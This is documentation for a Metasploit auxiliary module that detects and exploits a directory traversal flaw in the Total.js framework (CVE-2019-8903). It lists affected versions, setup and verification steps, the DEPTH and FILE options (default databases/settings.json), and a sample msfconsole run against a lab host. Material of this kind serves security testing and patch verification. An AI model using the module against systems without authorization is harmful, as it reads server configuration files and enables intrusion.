Totaljs Traversal

Description

This module check and exploits a Directory Traversal vulnerability in Total.js framework < 3.2.4 (CVE-2019-8903). Here is a list of accepted extensions: flac, jpg, jpeg, png, gif, ico, js, css, txt, xml, woff, woff2, otf, ttf, eot, svg, zip, rar, pdf, docx, xlsx, doc, xls, html, htm, appcache, manifest, map, ogv, ogg, mp4, mp3, webp, webm, swf, package, json, md, m4v, jsx, heif, heic.

Vulnerable Application

Affecting total.js package, versions:

• =2.1.0 <2.1.1

• =2.2.0 <2.2.1

• =2.3.0 <2.3.1

• =2.4.0 <2.4.1

• =2.5.0 <2.5.1

• =2.6.0 <2.6.3

• =2.7.0 <2.7.1

• =2.8.0 <2.8.1

• =2.9.0 <2.9.5

• =3.0.0 <3.0.1

• =3.1.0 <3.1.1

• =3.2.0 <3.2.4

Verification Steps

1. On a Node v8 environment do: npm install [email protected]
2. Install an app on top of the Total.js framework, something like Total.js CMS

• git clone https://github.com/totaljs/cms.git
• cd cms && npm install

3. Start msfconsole
4. use auxiliary/scanner/http/totaljs_traversal
5. set RHOST <IP>
6. set RPORT <PORT>
7. run
8. Verify you get Total.js version if the target is vulnerable!

Options

DEPTH

Traversal depth. Default is 1

FILE

File to obtain. Default is databases/settings.json

Scenarios

Tested on Total.js framework 3.2.0 and Total.js CMS 12.0.0

msf > use auxiliary/scanner/http/totaljs_traversal 
msf auxiliary(scanner/http/totaljs_traversal) > set RHOST 192.168.2.59
RHOST => 192.168.2.59
msf auxiliary(scanner/http/totaljs_traversal) > set RPORT 8320
RPORT => 8320
msf auxiliary(scanner/http/totaljs_traversal) > run
[*] Running module against 192.168.2.59

[*] Total.js version is: ^3.2.0
[*] App name: CMS
[*] App description: A simple and powerful CMS solution written in Total.js / Node.js.
[*] App version: 12.0.0
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/totaljs_traversal) >